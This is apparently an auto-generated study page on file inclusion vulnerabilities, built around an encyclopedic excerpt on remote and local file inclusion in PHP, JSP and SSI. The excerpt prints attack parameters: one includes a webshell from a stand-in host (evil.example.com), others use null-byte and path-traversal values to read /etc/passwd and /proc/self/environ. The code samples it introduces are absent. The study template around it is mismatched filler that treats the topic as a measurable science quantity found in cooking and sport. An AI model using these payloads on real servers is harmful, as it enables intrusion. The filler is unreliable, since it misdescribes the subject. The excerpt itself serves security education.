ArticleslgStudy

science

File inclusion vulnerability

File inclusion vulnerability is a science topic covered in the lgStudy science library. This page brings together a partial reference excerpt, illustrations, worked examples, real-world applications and a short study plan, so you can understand File inclusion vulnerability rather than just read about it. In short: A File Inclusion Vulnerability is a type of web vulnerability that is most commonly found to affect web applications that rely on a scripting run time. This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time.

Key takeaways

  • File inclusion vulnerability belongs to science; place it in that map before memorising details.
  • Learn the definition first, then one example that makes the definition concrete.
  • Connect File inclusion vulnerability to a quantity you can measure, compute or draw — that is where exam questions come from.
  • Reproduce the core statement of File inclusion vulnerability from memory before moving on to harder problems.

Reference excerpt

A File Inclusion Vulnerability is a type of web vulnerability that is most commonly found to affect web applications that rely on a scripting run time. This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time. A file include vulnerability is distinct from a generic directory traversal attack, in that directory traversal is a way of gaining unauthorized file system access, and a file inclusion vulnerability subverts how an application loads code for execution. Successful exploitation of a file inclusion vulnerability will result in remote code execution on the web server that runs the affected web application. An attacker can use remote code execution to create a web shell on the web server, which can be used for website defacement.

Types of Inclusion

Remote file inclusion Remote file inclusion (RFI) occurs when the web application downloads and executes a remote file. These remote files are usually obtained in the form of an HTTP or FTP URI as a user-supplied parameter to the web application.

Local file inclusion Local file inclusion (LFI) is similar to a remote file inclusion vulnerability except instead of including remote files, only local files i.e. files on the current server can be included for execution. This issue can still lead to remote code execution by including a file that contains attacker-controlled data such as the web server's access logs.

Programming languages File inclusion vulnerability primarily happens on programming languages that rely on dynamic inclusion of files, such as PHP and JavaScript. These languages are interpreted, rather than compiled. Languages that use file inclusion for including libraries, such as C and C++, do not necessarily suffer the same kind of vulnerability, due to being handled through preprocessing rather than dynamically. However, they are still vulnerable through path traversals by fopen() and buffer overflows.

PHP In PHP the main cause is due to the use of unvalidated user-input with a filesystem function that includes a file for execution. Most notable are the include and require statements. Most of the vulnerabilities can be attributed to novice programmers not being familiar with all of the capabilities of the PHP programming language. The PHP language has a directive which, if enabled, allows filesystem functions to use a URL to retrieve data from remote locations. The directive is allow_url_fopen in PHP versions <= 4.3.4 and allow_url_include since PHP 5.2.0. In PHP 5.x this directive is disabled by default, in prior versions it was enabled by default. To exploit the vulnerability an attacker will alter a variable that is passed to one of these functions to cause it to include malicious code from a remote resource. To mitigate this vulnerability all user input needs to be validated before being used.

Example Consider this PHP script which includes a file specified by request:

The developer intended to read in english.php or french.php, which will alter the application's behavior to display the language of the user's choice. But it is possible to inject another path using the language parameter.

/vulnerable.php?language=http://evil.example.com/webshell.txt? - injects a remotely hosted file containing a malicious code (remote file include) /vulnerable.php?language=C:\\ftp\\upload\\exploit - Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability) /vulnerable.php?language=C:\\notes.txt%00 - example using NULL meta character to remove the .php suffix, allowing access to files other than .php. This use of null byte injection was patched in PHP 5.3, and can no longer be used for LFI/RFI attacks. /vulnerable.php?language=../../../../../etc/passwd%00 - allows an attacker to read the contents of the /etc/passwd file on a Unix-like system through a directory traversal attack. /vulnerable.php?language=../../../../../proc/self/environ%00 - allows an attacker to read the contents of the /proc/self/environ file on a Unix-like system through a directory traversal attack. An attacker can modify a HTTP header (such as User-Agent) in this attack to be PHP code to exploit remote code execution. The best solution in this case is to use a whitelist of accepted language parameters. If a strong method of input validation such as a whitelist cannot be used, then rely upon input filtering or validation of the passed-in path to make sure it does not contain unintended characters and character patterns. However, this may require anticipating all possible problematic character combinations. A safer solution is to use a predefined Switch/Case statement to determine which file to include rather than use a URL or form parameter to dynamically generate the path.

Jakarta Server Pages (JSP) Jakarta Server Pages (JSP; formerly JavaServer Pages) is a scripting language similar to PHP but running on Java which can include files for execution at runtime.

Example The following script is vulnerable to a file inclusion vulnerability:

/vulnerable.jsp?p=../../../../var/log/access.log%00 - Unlike PHP, JSP is still affected by Null byte injection, and this parameter will execute JSP commands found in the web server's access log.

Server Side Includes (SSI) A Server Side Include is very uncommon and are not typically enabled on a default web server. A server-side include can be used to gain remote code execution on a vulnerable web server.

Example The following code is vulnerable to a remote-file inclusion vulnerability:

The above code is not an XSS vulnerability, but rather including a new file to be executed by the server.

See also Attack (computing) Code injection Metasploit Project, an open-source penetration testing tool that includes tests for RFI SQL injection Threat (computer) w3af, an open-source web application security scanner Default Credential vulnerability

References

External links Remote File Inclusion at the Web Application Security Consortium Local File Inclusion Local & Remove File Inclusion WordPress at WP Hacked Help Is PHP vulnerable and under what conditions?

Worked examples

Example 1 — a first encounter with File inclusion vulnerability

Start with the simplest possible case. Write down what File inclusion vulnerability claims or describes in one sentence, then invent the smallest concrete situation in which that sentence is true. In science, the smallest case is usually a single object, a single equation or a single measurement. Check that every symbol or term in your sentence has a meaning in that case.

Example 2 — changing one variable

Take the situation from Example 1 and change exactly one quantity: double it, halve it, or set it to zero. Predict what should happen to File inclusion vulnerability before you calculate. Comparing your prediction with the result is the fastest way to find out whether you understand the idea or only the words.

Example 3 — an exam-style question

Typical questions about File inclusion vulnerability ask you to (a) state it precisely, (b) apply it to given data, and (c) explain a limitation. Practise writing all three answers in under five minutes; the third part is what separates a full-mark answer from an average one.

Applications of File inclusion vulnerability

In research
File inclusion vulnerability appears in science research whenever the underlying quantities have to be modelled precisely. Papers usually cite it as a starting assumption and then explore where it breaks down.
In technology and industry
Engineering practice reuses File inclusion vulnerability in design rules, simulations and safety margins. Knowing the idea lets you read a specification sheet and understand why the numbers look the way they do.
In the classroom
File inclusion vulnerability is common in secondary-school and first-year university syllabi. It links to neighbouring topics Injection exploits, Web security exploits, so understanding it makes those chapters shorter.
In everyday life
Look for File inclusion vulnerability outside the textbook — in sport, cooking, traffic, electronics or the sky above you. An example you found yourself is remembered far longer than one you were given.
Ask Teacher Smith questions about this articleOpens your AI tutor with a question about “File inclusion vulnerability” →

How to study File inclusion vulnerability in 20 minutes

  1. Read the reference excerpt below once, without taking notes.
  2. Close the page and write down what File inclusion vulnerability means in your own words.
  3. Compare your version with the excerpt and mark what you missed.
  4. Work through the three examples above with pen and paper.
  5. Explain File inclusion vulnerability out loud to somebody else — or to Teacher Smith in the lgStudy chat.

Frequently asked questions

What is File inclusion vulnerability in simple terms?

A File Inclusion Vulnerability is a type of web vulnerability that is most commonly found to affect web applications that rely on a scripting run time. This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker t…

Why does File inclusion vulnerability matter?

Because it connects several science ideas at once: it gives you a definition you can apply, a quantity you can calculate, and a way to check whether a result is plausible.

How should I study File inclusion vulnerability?

Read the excerpt, restate it from memory, then work through the examples and applications listed on this page. The five-step study plan above takes about twenty minutes.

What does this page cover?

It gives you a compact reference excerpt plus original lgStudy explanations, examples, applications and study material on File inclusion vulnerability.

Tags

  • Injection exploits
  • Web security exploits

Keep exploring